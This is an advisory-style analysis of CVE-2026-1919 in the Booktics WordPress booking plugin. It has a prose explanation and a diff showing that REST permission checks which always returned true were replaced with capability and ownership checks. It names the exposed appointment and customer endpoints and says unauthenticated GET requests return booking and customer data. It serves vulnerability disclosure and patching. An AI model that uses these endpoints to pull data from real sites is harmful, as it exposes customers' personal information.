Atomic Edge analysis of CVE-2026-1919:
The vulnerability stems from missing capability checks on multiple REST API endpoints in the Booktics WordPress plugin versions up to 1.0.16. The plugin’s REST API controllers, specifically the Appointment_Controller and Customer_Controller, implemented permission callback methods that returned `true` for all users, including unauthenticated visitors. This allowed direct access to sensitive data via the `/wp-json/booktics/v1/appointments` and `/wp-json/booktics/v1/customers` endpoints. The `get_items_permissions_check()` and `get_item_permissions_check()` methods in `appointment-controller.php` (lines 539-551 and 560-572 in the vulnerable version) lacked authorization logic. Similarly, `get_customer_permission()` in `customer-controller.php` (line 227) returned `true` without verification. Attackers could query these endpoints to retrieve appointment details, customer information, and team member data without authentication. The patch adds comprehensive authorization checks using WordPress capability checks (`current_user_can(‘manage_options’)`), role verification (`booktics_is_admin_or_team_member()`), and user ownership validation. For appointments, authenticated customers can only access their own records via customer_id matching. The patch also masks sensitive fields like team member email addresses and wp_user_id from non-administrative users. Exploitation requires only HTTP GET requests to the REST endpoints, making it trivial for attackers to enumerate sensitive booking data, customer details, and internal system information.

CVE-2026-1919: Booktics <= 1.0.16 – Missing Authorization to Get Items via REST API endpoints (booktics)
CVE-2026-1919
booktics
1.0.16
1.0.17
Analysis Overview
Differential between vulnerable and patched code
--- a/booktics/assets/build/js/frontend.asset.php
+++ b/booktics/assets/build/js/frontend.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element'), 'version' => 'd0ae2231b57b06bd9f9c');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element'), 'version' => '76f9111261c2bea42a55');
--- a/booktics/assets/build/js/packages.asset.php
+++ b/booktics/assets/build/js/packages.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element'), 'version' => '286566e16a0da4bc3c0f');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element'), 'version' => '3604a5e1ea084b846c71');
--- a/booktics/base/abstracts/user-model.php
+++ b/booktics/base/abstracts/user-model.php
@@ -557,7 +557,7 @@
}
// Cast specific keys to objects
- if ( $key == 'schedule' ) {
+ if ( 'schedule' == $key ) {
$value = (object) $value;
}
@@ -570,7 +570,7 @@
$value = filter_var( $value, FILTER_VALIDATE_BOOLEAN );
}
- if ( $key == 'user_registered' ) {
+ if ( 'user_registered' == $key ) {
$value = $default;
}
--- a/booktics/base/activate.php
+++ b/booktics/base/activate.php
@@ -2,6 +2,10 @@
namespace Booktics;
+if ( ! defined( 'ABSPATH' ) ) {
+ exit;
+}
+
/**
* Activation class
*
--- a/booktics/base/container/container.php
+++ b/booktics/base/container/container.php
@@ -1,6 +1,10 @@
<?php
namespace BookticsContainer;
+if ( ! defined( 'ABSPATH' ) ) {
+ exit;
+}
+
use BookticsContainerExceptionDependency_Has_No_Default_Value_Exception;
use BookticsContainerExceptionDependency_Is_Not_Instantiable_Exception;
use Exception;
--- a/booktics/base/deactivate.php
+++ b/booktics/base/deactivate.php
@@ -2,6 +2,10 @@
namespace Booktics;
+if ( ! defined( 'ABSPATH' ) ) {
+ exit;
+}
+
/**
* Deactivation class
*
--- a/booktics/base/installer.php
+++ b/booktics/base/installer.php
@@ -2,6 +2,10 @@
namespace Booktics;
+if ( ! defined( 'ABSPATH' ) ) {
+ exit;
+}
+
use BookticsDummy_DataDummy_Data_Manager;
class Installer {
--- a/booktics/base/services/post-status-service.php
+++ b/booktics/base/services/post-status-service.php
@@ -1,132 +1,132 @@
-<?php
-
-namespace BookticsBaseServices;
-
-/**
- * Handles registration of all custom post statuses for Booktics.
- */
-class Post_Status_Service {
-
- public $post_statuses = array(
- 'active',
- 'deactive',
- 'pending',
- 'canceled',
- 'approved',
- 'completed',
- 'not_show',
- );
-
- /**
- * Get translated label for a specific post status.
- *
- * @param string $post_status The post status.
- * @return string The translated label.
- */
- private function get_label( $post_status ) {
- switch ( $post_status ) {
- case 'active':
- return __( 'Active', 'booktics' );
- case 'deactive':
- return __( 'Deactive', 'booktics' );
- case 'pending':
- return __( 'Pending', 'booktics' );
- case 'canceled':
- return __( 'Canceled', 'booktics' );
- case 'approved':
- return __( 'Approved', 'booktics' );
- case 'completed':
- return __( 'Completed', 'booktics' );
- case 'not_show':
- return __( 'Not Show', 'booktics' );
- default:
- return __( 'Status', 'booktics' );
- }
- }
-
- /**
- * Get label count for a specific post status.
- *
- * @param string $post_status The post status.
- * @return array The label count array.
- */
- private function get_label_count( $post_status ) {
- switch ( $post_status ) {
- case 'active':
- // translators: %s is the count of active items.
- return _n_noop(
- 'Active <span class="count">(%s)</span>',
- 'Active <span class="count">(%s)</span>',
- 'booktics'
- );
- case 'deactive':
- // translators: %s is the count of deactive items.
- return _n_noop(
- 'Deactive <span class="count">(%s)</span>',
- 'Deactive <span class="count">(%s)</span>',
- 'booktics'
- );
- case 'pending':
- // translators: %s is the count of pending items.
- return _n_noop(
- 'Pending <span class="count">(%s)</span>',
- 'Pending <span class="count">(%s)</span>',
- 'booktics'
- );
- case 'canceled':
- // translators: %s is the count of canceled items.
- return _n_noop(
- 'Canceled <span class="count">(%s)</span>',
- 'Canceled <span class="count">(%s)</span>',
- 'booktics'
- );
- case 'approved':
- // translators: %s is the count of approved items.
- return _n_noop(
- 'Approved <span class="count">(%s)</span>',
- 'Approved <span class="count">(%s)</span>',
- 'booktics'
- );
- case 'completed':
- // translators: %s is the count of completed items.
- return _n_noop(
- 'Completed <span class="count">(%s)</span>',
- 'Completed <span class="count">(%s)</span>',
- 'booktics'
- );
- case 'not_show':
- // translators: %s is the count of items not shown.
- return _n_noop(
- 'Not Show <span class="count">(%s)</span>',
- 'Not Show <span class="count">(%s)</span>',
- 'booktics'
- );
- default:
- // translators: %s is the count of items with this status.
- return _n_noop(
- 'Status <span class="count">(%s)</span>',
- 'Status <span class="count">(%s)</span>',
- 'booktics'
- );
- }
- }
-
- /**
- * Register all custom post statuses.
- */
- public function register() {
- foreach ( $this->post_statuses as $post_status ) {
- register_post_status(
- $post_status, array(
- 'label' => $this->get_label( $post_status ),
- 'public' => true,
- 'publicly_queryable' => true,
- 'exclude_from_search' => false,
- 'show_in_admin_all_list' => true,
- 'show_in_admin_status_list' => true,
- 'label_count' => $this->get_label_count( $post_status ),
- )
- );
- }
- }
-}
+<?php
+
+namespace BookticsBaseServices;
+
+/**
+ * Handles registration of all custom post statuses for Booktics.
+ */
+class Post_Status_Service {
+
+ public $post_statuses = array(
+ 'active',
+ 'deactive',
+ 'pending',
+ 'canceled',
+ 'approved',
+ 'completed',
+ 'not_show',
+ );
+
+ /**
+ * Get translated label for a specific post status.
+ *
+ * @param string $post_status The post status.
+ * @return string The translated label.
+ */
+ private function get_label( $post_status ) {
+ switch ( $post_status ) {
+ case 'active':
+ return __( 'Active', 'booktics' );
+ case 'deactive':
+ return __( 'Deactive', 'booktics' );
+ case 'pending':
+ return __( 'Pending', 'booktics' );
+ case 'canceled':
+ return __( 'Canceled', 'booktics' );
+ case 'approved':
+ return __( 'Approved', 'booktics' );
+ case 'completed':
+ return __( 'Completed', 'booktics' );
+ case 'not_show':
+ return __( 'Not Show', 'booktics' );
+ default:
+ return __( 'Status', 'booktics' );
+ }
+ }
+
+ /**
+ * Get label count for a specific post status.
+ *
+ * @param string $post_status The post status.
+ * @return array The label count array.
+ */
+ private function get_label_count( $post_status ) {
+ switch ( $post_status ) {
+ case 'active':
+ // translators: %s is the count of active items.
+ return _n_noop(
+ 'Active <span class="count">(%s)</span>',
+ 'Active <span class="count">(%s)</span>',
+ 'booktics'
+ );
+ case 'deactive':
+ // translators: %s is the count of deactive items.
+ return _n_noop(
+ 'Deactive <span class="count">(%s)</span>',
+ 'Deactive <span class="count">(%s)</span>',
+ 'booktics'
+ );
+ case 'pending':
+ // translators: %s is the count of pending items.
+ return _n_noop(
+ 'Pending <span class="count">(%s)</span>',
+ 'Pending <span class="count">(%s)</span>',
+ 'booktics'
+ );
+ case 'canceled':
+ // translators: %s is the count of canceled items.
+ return _n_noop(
+ 'Canceled <span class="count">(%s)</span>',
+ 'Canceled <span class="count">(%s)</span>',
+ 'booktics'
+ );
+ case 'approved':
+ // translators: %s is the count of approved items.
+ return _n_noop(
+ 'Approved <span class="count">(%s)</span>',
+ 'Approved <span class="count">(%s)</span>',
+ 'booktics'
+ );
+ case 'completed':
+ // translators: %s is the count of completed items.
+ return _n_noop(
+ 'Completed <span class="count">(%s)</span>',
+ 'Completed <span class="count">(%s)</span>',
+ 'booktics'
+ );
+ case 'not_show':
+ // translators: %s is the count of items not shown.
+ return _n_noop(
+ 'Not Show <span class="count">(%s)</span>',
+ 'Not Show <span class="count">(%s)</span>',
+ 'booktics'
+ );
+ default:
+ // translators: %s is the count of items with this status.
+ return _n_noop(
+ 'Status <span class="count">(%s)</span>',
+ 'Status <span class="count">(%s)</span>',
+ 'booktics'
+ );
+ }
+ }
+
+ /**
+ * Register all custom post statuses.
+ */
+ public function register() {
+ foreach ( $this->post_statuses as $post_status ) {
+ register_post_status(
+ $post_status, array(
+ 'label' => $this->get_label( $post_status ),
+ 'public' => true,
+ 'publicly_queryable' => true,
+ 'exclude_from_search' => false,
+ 'show_in_admin_all_list' => true,
+ 'show_in_admin_status_list' => true,
+ 'label_count' => $this->get_label_count( $post_status ),
+ )
+ );
+ }
+ }
+}
--- a/booktics/base/services/schedule-record.php
+++ b/booktics/base/services/schedule-record.php
@@ -30,12 +30,12 @@
*/
public function get_schedules( $id, $type = 'team_member' ) {
$database = new Booktics_Database();
- if ( $type === 'default' ) {
+ if ( 'default' === $type ) {
$where = array(
'team_member_id' => 0,
'service_id' => 0,
);
- } elseif ( $type === 'team_member' ) {
+ } elseif ( 'team_member' === $type ) {
$where = array( 'team_member_id' => $id );
} else {
$where = array( 'service_id' => $id );
@@ -54,16 +54,16 @@
}
foreach ( $schedules as $schedule ) {
- if ( $schedule->custom_date == '0' ) {
+ if ( '0' == $schedule->custom_date ) {
$day = strtolower( array_search( $schedule->week_day, Schedule_Manager::$day_map ) );
- if ( $schedule->start_time == '0' && $schedule->end_time == '0' ) {
+ if ( '0' == $schedule->start_time && '0' == $schedule->end_time ) {
continue;
}
$formatted['schedule'][ $day ][] = array(
'start_time' => $this->format_time( $schedule->start_time ),
'end_time' => $this->format_time( $schedule->end_time ),
);
- } elseif ( $schedule->start_time == '0' && $schedule->end_time == '0' ) {
+ } elseif ( '0' == $schedule->start_time && '0' == $schedule->end_time ) {
$formatted['holiday'][] = $schedule->custom_date;
} else {
$formatted['custom'][] = array(
@@ -107,15 +107,15 @@
$current = $dates[ $i ] ?? null;
// If we've reached the end or found a gap in dates
- if ( $current === null || strtotime( $current ) > strtotime( '+1 day', strtotime( $prev ) ) ) {
+ if ( null === $current || strtotime( $current ) > strtotime( '+1 day', strtotime( $prev ) ) ) {
// Add the range only if start and end are different or it's the last single date
$ranges[] = array( $start, $prev );
- if ( $current !== null ) {
+ if ( null !== $current ) {
$start = $current;
}
}
- if ( $current !== null ) {
+ if ( null !== $current ) {
$prev = $current;
}
}
--- a/booktics/booktics.php
+++ b/booktics/booktics.php
@@ -4,7 +4,7 @@
* Plugin Name: Booktics - Booking Calendar for Appointments and Service Businesses
* Plugin URI: https://arraytics.com/booktics/
* Description: Schedule, Appointment and Seat Booking plugin.
- * Version: 1.0.16
+ * Version: 1.0.17
* Requires at least: 5.2
* Requires PHP: 7.4
* Author: Arraytics
@@ -30,7 +30,7 @@
* @package Booktics
* @category Core
* @author Arraytics
- * @version 1.0.1
+ * @version 1.0.17
*/
use BookticsBooktics;
@@ -46,7 +46,7 @@
// Define constant for the Plugin file.
defined( 'BOOKTICS_FILE' ) || define( 'BOOKTICS_FILE', __FILE__ );
defined( 'BOOKTICS_DIR' ) || define( 'BOOKTICS_DIR', __DIR__ );
-defined( 'BOOKTICS_VERSION' ) || define( 'BOOKTICS_VERSION', '1.0.16' );
+defined( 'BOOKTICS_VERSION' ) || define( 'BOOKTICS_VERSION', '1.0.17' );
global $booktics_container;
@@ -76,7 +76,7 @@
$reflection = new ReflectionMethod( 'UninstallerFormUninstallerForm', 'init' );
$totalParams = $reflection->getNumberOfParameters(); // Maximum number of parameters allowed
- if( $totalParams === 6 ) {
+ if( 6 === $totalParams ) {
$uninstaller_form = new UninstallerFormUninstallerForm();
$uninstaller_form->init(
'Booktics', // Plugin name
--- a/booktics/core/appointment/controllers/appointment-controller.php
+++ b/booktics/core/appointment/controllers/appointment-controller.php
@@ -355,10 +355,51 @@
$args = apply_filters( 'booktics_appointment_args', $args );
+ // Scope to customer's own appointments when not admin/team-member
+ if ( ! booktics_is_admin_or_team_member() && is_user_logged_in() ) {
+ $db = new Booktics_Database();
+ $guest = ( new Guest_Model( $db ) )->find( array( 'wp_user_id' => get_current_user_id() ) );
+ if ( ! $guest ) {
+ return $this->response(
+ array(
+ 'items' => array(),
+ 'total' => 0,
+ 'per_page' => $per_page,
+ 'current_page' => $paged,
+ 'last_page' => 0,
+ ), __( 'No appointments found', 'booktics' )
+ );
+ }
+ // Add customer_id filter to meta_query
+ $args['meta_query'][] = array(
+ 'key' => 'customer_id',
+ 'value' => $guest->id,
+ 'compare' => '=',
+ );
+ }
+
$data = Appointment_Model::paginate( $per_page, $paged, $args );
$data = apply_filters( 'booktics_appointment_data', $data );
+ // Mask team member email for customers (non-admin/team-member)
+ if ( ! booktics_is_admin_or_team_member() && is_user_logged_in() && ! empty( $data['items'] ) ) {
+ foreach ( $data['items'] as $key => $appointment ) {
+ $appointment_array = is_array( $appointment ) ? $appointment : get_object_vars( $appointment );
+
+ // team_member may not be present on all appointments; isset guards this safely.
+ if ( isset( $appointment_array['team_member'] ) ) {
+ if ( is_object( $appointment_array['team_member'] ) ) {
+ $appointment_array['team_member']->user_email = '';
+ } elseif ( is_array( $appointment_array['team_member'] ) && isset( $appointment_array['team_member']['user_email'] ) ) {
+ $appointment_array['team_member']['user_email'] = '';
+ }
+ }
+
+ $data['items'][ $key ] = (object) $appointment_array;
+ }
+ }
+
if ( ! $data ) {
return $this->error( __( 'No appointment found', 'booktics' ), 404 );
}
@@ -382,6 +423,20 @@
return $this->error( __( 'Appointment not found', 'booktics' ), 404 );
}
+ // Mask team member email for customers (non-admin/team-member)
+ if ( ! booktics_is_admin_or_team_member() && is_user_logged_in() ) {
+ $appointment_array = is_array( $appointment ) ? $appointment : get_object_vars( $appointment );
+ // team_member may not be present on all appointments; isset guards this safely.
+ if ( isset( $appointment_array['team_member'] ) ) {
+ if ( is_object( $appointment_array['team_member'] ) ) {
+ $appointment_array['team_member']->user_email = '';
+ } elseif ( is_array( $appointment_array['team_member'] ) && isset( $appointment_array['team_member']['user_email'] ) ) {
+ $appointment_array['team_member']['user_email'] = '';
+ }
+ }
+ return $this->response( (object) $appointment_array );
+ }
+
return $this->response( $appointment );
}
@@ -539,7 +594,29 @@
* @return WP_Error|boolean
*/
public function get_item_permissions_check( $request ) {
- return true;
+ if ( booktics_is_admin_or_team_member() ) {
+ return true;
+ }
+
+ if ( is_user_logged_in() ) {
+ $appointment_id = intval( $request['id'] );
+ $appointment = Appointment_Model::find( $appointment_id );
+
+ if ( $appointment ) {
+ $db = new Booktics_Database();
+ $customer = ( new Guest_Model( $db ) )->find( array( 'id' => $appointment->customer_id ) );
+
+ if ( $customer && intval( $customer->wp_user_id ) === get_current_user_id() ) {
+ return true;
+ }
+ }
+ }
+
+ return new WP_Error(
+ 'booktics_forbidden',
+ __( 'You are not allowed to view this appointment.', 'booktics' ),
+ array( 'status' => 403 )
+ );
}
/**
@@ -550,7 +627,23 @@
* @return WP_Error|boolean
*/
public function get_items_permissions_check( $request ) {
- return true;
+ // Admins and team members get the full, unfiltered appointment list.
+ if ( booktics_is_admin_or_team_member() ) {
+ return true;
+ }
+
+ // Authenticated customers may access this endpoint; get_items() automatically
+ // scopes the query to only their own appointments via customer_id meta_query
+ // in get_items methods (see lines 358–379 of this file).
+ if ( is_user_logged_in() ) {
+ return true;
+ }
+
+ return new WP_Error(
+ 'booktics_forbidden',
+ __( 'You are not allowed to view appointments.', 'booktics' ),
+ array( 'status' => 403 )
+ );
}
/**
@@ -708,7 +801,29 @@
* @param $request Full data about the request.
*/
public function reschedule_item_permissions_check( $request ) {
- return true;
+ if ( booktics_is_admin_or_team_member() ) {
+ return true;
+ }
+
+ if ( is_user_logged_in() ) {
+ $appointment_id = intval( $request['id'] );
+ $appointment = Appointment_Model::find( $appointment_id );
+
+ if ( $appointment ) {
+ $db = new Booktics_Database();
+ $customer = ( new Guest_Model( $db ) )->find( array( 'id' => $appointment->customer_id ) );
+
+ if ( $customer && intval( $customer->wp_user_id ) === get_current_user_id() ) {
+ return true;
+ }
+ }
+ }
+
+ return new WP_Error(
+ 'booktics_forbidden',
+ __( 'You are not allowed to reschedule this appointment.', 'booktics' ),
+ array( 'status' => 403 )
+ );
}
/**
@@ -802,7 +917,29 @@
* @return WP_Error|boolean
*/
public function cancel_item_permissions_check( $request ) {
- return true;
+ if ( booktics_is_admin_or_team_member() ) {
+ return true;
+ }
+
+ if ( is_user_logged_in() ) {
+ $appointment_id = intval( $request['id'] );
+ $appointment = Appointment_Model::find( $appointment_id );
+
+ if ( $appointment ) {
+ $db = new Booktics_Database();
+ $customer = ( new Guest_Model( $db ) )->find( array( 'id' => $appointment->customer_id ) );
+
+ if ( $customer && intval( $customer->wp_user_id ) === get_current_user_id() ) {
+ return true;
+ }
+ }
+ }
+
+ return new WP_Error(
+ 'booktics_forbidden',
+ __( 'You are not allowed to cancel this appointment.', 'booktics' ),
+ array( 'status' => 403 )
+ );
}
/**
--- a/booktics/core/appointment/services/appointment-validator.php
+++ b/booktics/core/appointment/services/appointment-validator.php
@@ -76,11 +76,12 @@
return new WP_Error( 'appointment_not_found', __( 'Appointment not found', 'booktics' ) );
}
- if ( $appointment->status === 'canceled' ) {
+ if ( 'canceled' === $appointment->status ) {
return new WP_Error( 'appointment_cancelled', __( 'This Appointment has already been cancelled', 'booktics' ) );
}
- if ( $appointment->security_token !== $data['security_token'] && ! current_user_can('manage_options')) {
+ $token = isset( $data['security_token'] ) ? (string) $data['security_token'] : '';
+ if ( ! hash_equals( (string) $appointment->security_token, $token ) && ! current_user_can( 'manage_options' ) ) {
return new WP_Error( 'invalid_security_token', __( 'You dont have permission for rescheduling this appointment', 'booktics' ) );
}
@@ -88,7 +89,7 @@
if ( isset( $reschedule_restrictions['enable'] ) && $reschedule_restrictions['enable'] ) {
$restricted_time = $reschedule_restrictions['restricted_time'] ?? 0;
$restricted_unit = $reschedule_restrictions['restricted_unit'] ?? 'hr';
- $restricted_min = $restricted_unit === 'min' ? $restricted_time : $restricted_time * 60;
+ $restricted_min = ('min' === $restricted_unit) ? $restricted_time : $restricted_time * 60;
$current_time = (int) wp_date( 'U' );
$appointment_time = strtotime( $appointment->date . ' ' . $appointment->start_time );
--- a/booktics/core/cart/cart-session.php
+++ b/booktics/core/cart/cart-session.php
@@ -39,6 +39,51 @@
}
/**
+ * Sanitize raw cart session data
+ *
+ * @param mixed $data Raw data retrieved from the session.
+ *
+ * @return mixed Sanitized array or null if input is not an array.
+ */
+ private static function sanitize_session_data( $data ) {
+ if ( ! is_array( $data ) ) {
+ return null;
+ }
+
+ $sanitized_items = array();
+
+ if ( ! empty( $data['items'] ) && is_array( $data['items'] ) ) {
+ foreach ( $data['items'] as $item ) {
+ if ( ! is_array( $item ) ) {
+ continue;
+ }
+
+ $sanitized_item = array(
+ 'uuid' => sanitize_text_field( $item['uuid'] ?? '' ),
+ 'service_id' => absint( $item['service_id'] ?? 0 ),
+ 'team_member_id' => absint( $item['team_member_id'] ?? 0 ),
+ 'date' => sanitize_text_field( $item['date'] ?? '' ),
+ 'start_time' => sanitize_text_field( $item['start_time'] ?? '' ),
+ 'end_time' => sanitize_text_field( $item['end_time'] ?? '' ),
+ 'price' => floatval( $item['price'] ?? 0 ),
+ 'subtotal' => floatval( $item['subtotal'] ?? 0 ),
+ 'total' => floatval( $item['total'] ?? 0 ),
+ );
+
+ $sanitized_item = apply_filters( 'booktics_pro_sanitize_cart_item', $sanitized_item, $item );
+
+ $sanitized_items[] = $sanitized_item;
+ }
+ }
+
+ return array(
+ 'items' => $sanitized_items,
+ 'total' => floatval( $data['total'] ?? 0.00 ),
+ 'coupon' => sanitize_text_field( $data['coupon'] ?? '' ),
+ );
+ }
+
+ /**
* Set cart data in session
*
* @param array $cart Cart data to store in session
--- a/booktics/core/customer/controllers/customer-controller.php
+++ b/booktics/core/customer/controllers/customer-controller.php
@@ -105,7 +105,7 @@
),
),
array(
- 'method' => WP_REST_Server::READABLE,
+ 'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_item' ),
'permission_callback' => array(
$this,
@@ -227,7 +227,34 @@
* @return bool
*/
public function get_customer_permission( $request ) {
- return true;
+ if ( current_user_can( 'manage_options' ) ) {
+ return true;
+ }
+
+ if ( is_user_logged_in() ) {
+ $current_user = wp_get_current_user();
+
+ if ( in_array( 'booktics_team_member', (array) $current_user->roles, true ) ) {
+ return true;
+ }
+
+ $requested_customer_id = isset( $request['id'] ) ? intval( $request['id'] ) : 0;
+
+ if ( $requested_customer_id > 0 ) {
+ $db = new Booktics_Database();
+ $requested_customer = ( new Guest_Model( $db ) )->find( array( 'id' => $requested_customer_id ) );
+
+ if ( $requested_customer && intval( $requested_customer->wp_user_id ) === get_current_user_id() ) {
+ return true;
+ }
+ }
+ }
+
+ return new WP_Error(
+ 'booktics_forbidden',
+ __( 'You are not allowed to view this customer data.', 'booktics' ),
+ array( 'status' => 403 )
+ );
}
/**
@@ -271,6 +298,12 @@
$customers = $customers->paginate( $paged, $per_page );
foreach ( $customers['items'] as &$customer ) {
$customer = ( new Guest_Model( $db ) )->with_virtual_attributes( $customer );
+
+ // Mask wp_user_id and user_login from non-admins (use empty string instead of unset for API consistency)
+ if ( ! current_user_can( 'manage_options' ) ) {
+ $customer->wp_user_id = '';
+ $customer->user_login = '';
+ }
}
return $this->response( $customers, __( 'Successfully fetched customer', 'booktics' ) );
@@ -377,7 +410,7 @@
++$count;
}
}
- if ( $count == 0 ) {
+ if ( 0 == $count ) {
return $this->error( __( 'Customer delete error', 'booktics' ), 500 );
}
@@ -415,6 +448,12 @@
}, $orders['items']
);
+ // Mask wp_user_id and user_login from non-admins (use empty string instead of unset for API consistency)
+ if ( ! current_user_can( 'manage_options' ) ) {
+ $customer->wp_user_id = '';
+ $customer->user_login = '';
+ }
+
return $this->response( $customer, __( 'Customer found successfully', 'booktics' ) );
}
@@ -512,7 +551,15 @@
* @return bool
*/
public function customer_profile_permission( $request ) {
- return true;
+ if ( is_user_logged_in() ) {
+ return true;
+ }
+
+ return new WP_Error(
+ 'booktics_unauthorized',
+ __( 'You must be logged in to view your profile.', 'booktics' ),
+ array( 'status' => 401 )
+ );
}
/**
--- a/booktics/core/dashboard/controllers/dashboard-controller.php
+++ b/booktics/core/dashboard/controllers/dashboard-controller.php
@@ -216,7 +216,7 @@
// Calculate percentage change
$percentage_change = 0;
$trend = 'neutral';
- if ( $previous_bookings != 0 ) {
+ if ( 0 != $previous_bookings ) {
$percentage_change = ( ( $current_bookings - $previous_bookings ) / $previous_bookings ) * 100;
$trend = $this->get_trend( $percentage_change );
}
@@ -272,7 +272,7 @@
$trend = 'neutral';
// Ensure both values are valid numbers before calculation
- if ( is_numeric( $previous_revenue ) && $previous_revenue != 0 && is_numeric( $current_revenue ) ) {
+ if ( is_numeric( $previous_revenue ) && 0 != $previous_revenue && is_numeric( $current_revenue ) ) {
$percentage_change = ( ( $current_revenue - $previous_revenue ) / $previous_revenue ) * 100;
// Check if the result is a valid number
@@ -357,7 +357,7 @@
// Calculate percentage change
$percentage_change = 0;
$trend = 'neutral';
- if ( $previous_results != 0 ) {
+ if ( 0 != $previous_results ) {
$percentage_change = ( ( $current_results - $previous_results ) / $previous_results ) * 100;
$trend = $this->get_trend( $percentage_change );
}
--- a/booktics/core/extensions/controllers/extension-controller.php
+++ b/booktics/core/extensions/controllers/extension-controller.php
@@ -62,7 +62,7 @@
* @return bool|WP_Error
*/
public function get_items_permissions_check( $request ) {
- return true;
+ return current_user_can( 'manage_options' );
}
/**
@@ -108,7 +108,7 @@
* @return bool|WP_Error
*/
public function update_item_permissions_check( $request ) {
- return true;
+ return current_user_can( 'manage_options' );
}
/**
--- a/booktics/core/extensions/controllers/module-controller.php
+++ b/booktics/core/extensions/controllers/module-controller.php
@@ -141,7 +141,7 @@
* @return WP_HTTP_Response Response object on success, or WP_Error object on failure.
*/
public function update_item($request) {
- $params = json_decode($request->get_body(), true);
+ $params = json_decode( $request->get_body(), true);
$name = isset($params['name']) ? sanitize_text_field($params['name']) : '';
$status = isset($params['status']) ? sanitize_text_field($params['status']) : '';
@@ -224,7 +224,7 @@
break;
}
- if ( $result === false ) {
+ if ( false === $result ) {
return $this->error(
/* translators: %s: extension name */
sprintf(__('Could not %s the extension', 'booktics'), $status),
--- a/booktics/core/extensions/extension-icon.php
+++ b/booktics/core/extensions/extension-icon.php
@@ -2,6 +2,10 @@
namespace BookticsExtensions;
+if ( ! defined( 'ABSPATH' ) ) {
+ exit;
+}
+
use BookticsBooktics;
class Extension_Icon {
--- a/booktics/core/module/fluentcrm/fluentcrm-service.php
+++ b/booktics/core/module/fluentcrm/fluentcrm-service.php
@@ -1,95 +1,95 @@
-<?php
-/**
- * FluentCRM Service
- *
- * Handles FluentCRM integration for Booktics orders
- */
-
-namespace BookticsModuleFluentCrm;
-
-if ( ! defined( 'ABSPATH' ) ) exit;
-
-use BookticsContractsHookable_Service_Contract;
-
-class FluentCRM_Service implements Hookable_Service_Contract {
- /**
- * Register hooks
- */
- public function register() {
- add_action( 'booktics_order_created', array( $this, 'add_contact_to_fluentcrm' ) );
- }
-
- /**
- * Add contact to FluentCRM
- *
- * @param object $order_model The order model
- */
- public function add_contact_to_fluentcrm( $order_model ) {
- // Check if FluentCRM is active
- if ( ! defined( 'FLUENTCRM' ) || ! function_exists( 'FluentCrmApi' ) ) {
- return;
- }
-
- // Get customer details
- $customer = get_user_by( 'id', $order_model->customer_id );
- if ( ! $customer ) {
- return;
- }
-
- $customer_data = array(
- 'email' => $customer->user_email,
- 'first_name' => $customer->first_name,
- 'last_name' => $customer->last_name ?: '',
- 'status' => 'subscribed',
- );
-
- try {
- // Check if FluentCRM Pro is active (has webhooks)
- $is_pro_active = is_plugin_active('fluent-crm-pro/fluentcampaign-pro.php');
- $fluentcrm_webhook_exists = !empty( booktics_get_option( 'fluentcrm_webhook_url') );
-
- if ( $is_pro_active && $fluentcrm_webhook_exists ) {
- // Use webhook if Pro is active
- $webhook_url = booktics_get_option( 'fluentcrm_webhook_url');
-
- if ( ! empty( $webhook_url ) ) {
- $this->send_webhook(
- $webhook_url,
- $customer_data,
- );
-
- // Returns if fluentCRM pro exists and is working properly
- return;
- }
- }
-
- // Fallback to direct API for free version, gets used when fluentCRM pro is not active or webhook is not set.
- $contact_api = FluentCrmApi( 'contacts' );
- $contact_api->createOrUpdate( $customer_data );
- } catch ( Throwable $e ) {
- // Ensures silent failure in case of any error
- if ( defined( 'WP_DEBUG_LOG' ) && WP_DEBUG_LOG ) {
- error_log( 'FluentCRM Error: ' . $e->getMessage() ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
- }
- }
- }
-
- private function send_webhook( $url, $data ) {
- $response = wp_remote_post(
- $url,
- array(
- 'body' => wp_json_encode( $data ),
- 'headers' => array(
- 'Content-Type' => 'application/json',
- ),
- 'timeout' => 15,
- )
- );
-
- if ( is_wp_error( $response ) ) {
- if ( defined( 'WP_DEBUG_LOG' ) && WP_DEBUG_LOG ) {
- error_log( 'FluentCRM Webhook Error: ' . $response->get_error_message() ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
- }
- }
- }
-}
+<?php
+/**
+ * FluentCRM Service
+ *
+ * Handles FluentCRM integration for Booktics orders
+ */
+
+namespace BookticsModuleFluentCrm;
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+use BookticsContractsHookable_Service_Contract;
+
+class FluentCRM_Service implements Hookable_Service_Contract {
+ /**
+ * Register hooks
+ */
+ public function register() {
+ add_action( 'booktics_order_created', array( $this, 'add_contact_to_fluentcrm' ) );
+ }
+
+ /**
+ * Add contact to FluentCRM
+ *
+ * @param object $order_model The order model
+ */
+ public function add_contact_to_fluentcrm( $order_model ) {
+ // Check if FluentCRM is active
+ if ( ! defined( 'FLUENTCRM' ) || ! function_exists( 'FluentCrmApi' ) ) {
+ return;
+ }
+
+ // Get customer details
+ $customer = get_user_by( 'id', $order_model->customer_id );
+ if ( ! $customer ) {
+ return;
+ }
+
+ $customer_data = array(
+ 'email' => $customer->user_email,
+ 'first_name' => $customer->first_name,
+ 'last_name' => $customer->last_name ?: '',
+ 'status' => 'subscribed',
+ );
+
+ try {
+ // Check if FluentCRM Pro is active (has webhooks)
+ $is_pro_active = is_plugin_active('fluent-crm-pro/fluentcampaign-pro.php');
+ $fluentcrm_webhook_exists = !empty( booktics_get_option( 'fluentcrm_webhook_url') );
+
+ if ( $is_pro_active && $fluentcrm_webhook_exists ) {
+ // Use webhook if Pro is active
+ $webhook_url = booktics_get_option( 'fluentcrm_webhook_url');
+
+ if ( ! empty( $webhook_url ) ) {
+ $this->send_webhook(
+ $webhook_url,
+ $customer_data,
+ );
+
+ // Returns if fluentCRM pro exists and is working properly
+ return;
+ }
+ }
+
+ // Fallback to direct API for free version, gets used when fluentCRM pro is not active or webhook is not set.
+ $contact_api = FluentCrmApi( 'contacts' );
